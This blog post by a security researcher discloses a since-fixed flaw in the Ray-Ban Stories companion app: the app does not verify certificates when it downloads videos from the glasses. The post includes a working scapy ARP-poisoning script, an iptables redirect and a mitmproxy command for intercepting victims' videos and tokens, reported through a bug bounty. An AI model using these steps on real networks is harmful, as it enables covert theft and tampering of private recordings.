This blog post demonstrates a security vulnerability I discovered in Ray-Ban Stories, a pair of sunglasses with a built-in camera. With the help of a companion app, users can download recorded videos from the glasses to their phones. However, a determined attacker with sufficient computational resources can perform a man-in-the-middle attack and intercept recorded videos during the download process. This attack was possible on both Android and iOS versions of the Facebook View application.

Overview

Ray-Ban Stories sunglasses can record videos and transmit media files to the corresponding companion app.

This communication is primarily carried out via Bluetooth and, for media files, through WiFi. After some reverse engineering, this is my assumption of the communication channels for downloading media files:

To download media files, the following steps are executed:

• Thumbnail: Thumbnails are transmitted via Bluetooth.
• WiFi Passphrase: A random passphrase is generated (on the glasses) and shared with the phone (via Bluetooth) to create a WiFi hotspot. This process varies between OS versions.
• WiFi Hotspot: A WiFi hotspot is established between the phone and the glasses. Android uses WiFi-Direct.
• Stella Webserver: The glasses host a webserver (stella-webserver) to provide access to media files. It uses TLS/SSL and requires a regularly-changing authentication token.
• Media Download: The companion app requests media files from the webserver with the correct authentication token.

Vulnerability

The stella-webserver presents an attack vector. Reverse engineering the application shows, the companion app does not verify the SSL certificate. This makes a man-in-the-middle attack is possible. An attacker can connect to the WiFi network and intercept all communication between the glasses and the phoneand gains access to transmitted metadata and recorded media files.

Actually it’s more complicated: Capturing the WiFi Password

To perform the man-in-the-middle attack, we need access to the WiFi network of the Ray-Ban Stories. While WiFi is generally considered secure, some bad configuration choices allow us to break the password.

Android API <= 28

The WiFi password is only 8 characters long (e.g. s8uIqNno), whithout special characters. While this still requires a lot of resources to crack, it is breakable. Once the glasses are paired, the WiFi password remains unchanged. The hash can be cracked offline, which makes the attack feasible.

Android API > 28 and iOS

The password is significantly longer, and changes regularly. On iOS the WiFi password changes on each download conection, making the attack more challenging.

The most stealthy method of breaking the WiFi password is by capturing the WiFi authentication password hash and cracking it. This can be done fully wireless and undetected if the attacker is within the network range. The hash can be cracked offline as described here.

Stealing your Data

To sniff the network communication, a classic ARP poising attack can be used. This can be executed with the following Python script:

from scapy.layers.l2 import ARP, arping, Ether
from scapy.all import send
import sys


def getmac(ip):
    ans, uans = arping(ip)
    for s, r in ans:
        return r[Ether].src

def poison(ip_raybans, mac_raybans, ip_phone, mac_phone):
    phone_poison_pkt = ARP(op=2, psrc=ip_raybans, hwdst=mac_phone, pdst=ip_phone)
    raybans_poison_pkt = ARP(op=2, psrc=ip_phone, hwdst=mac_raybans, pdst=ip_raybans)
    send(phone_poison_pkt)
    send(raybans_poison_pkt)

ip_phone = "192.168.43.1"
ip_raybans = "192.168.43.2"

mac_raybans = getmac(ip_raybans)
mac_phone = getmac(ip_phone)

poison(ip_raybans, mac_raybans, ip_phone, mac_phone)

Through the MITM attack, the network traffic is sent to the attacker. This traffic can be intercepted and forwarded by routing the communication to a reverse proxy, such as mitmproxy. Therefore, configure your iptables as follows:

sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080

Next, launch mitmproxy on port 8080. It is configured to accept insecure SSL certificates and dump the output to a file.

sudo mitmproxy -k -w traffic.mitm

As you can see in the following mitmproxy screenshot, the communication is successfully intercepted. If we dump the response body, captured photos or videos are revealed. However, the victim is not aware of this attack, as all traffic is forwarded regularly.

Even though the communication is SSL encrypted, the attacker can capture the cleartext data, as the Facebook View app does not verify the certificate (or use certificate pinning). The self-signed certificate of the attacker is accepted in this scenario. Furthermore, the authentication token is revealed, so the attacker can request data independently.

This attack also allows us to inject videos in the user’s app. As you can see in the video, the thumbnail is first transmitted correctly, but during the download process a fake video is injected.

Acknowlegements

The bug reports were created during the BountyCon Events. Thanks to the Meta Security Team for enabling this research and fixing this vulnerability quickly.

Here are the slides from the Meta iOS hunting talk from BountyCon in Singapore https://t.co/GkgpVXVpcP

— Philippe Harewood (@phwd_) October 12, 2022

Thanks to Philippe Harewood and his BountyCon Talk. Your talk and help made this possible!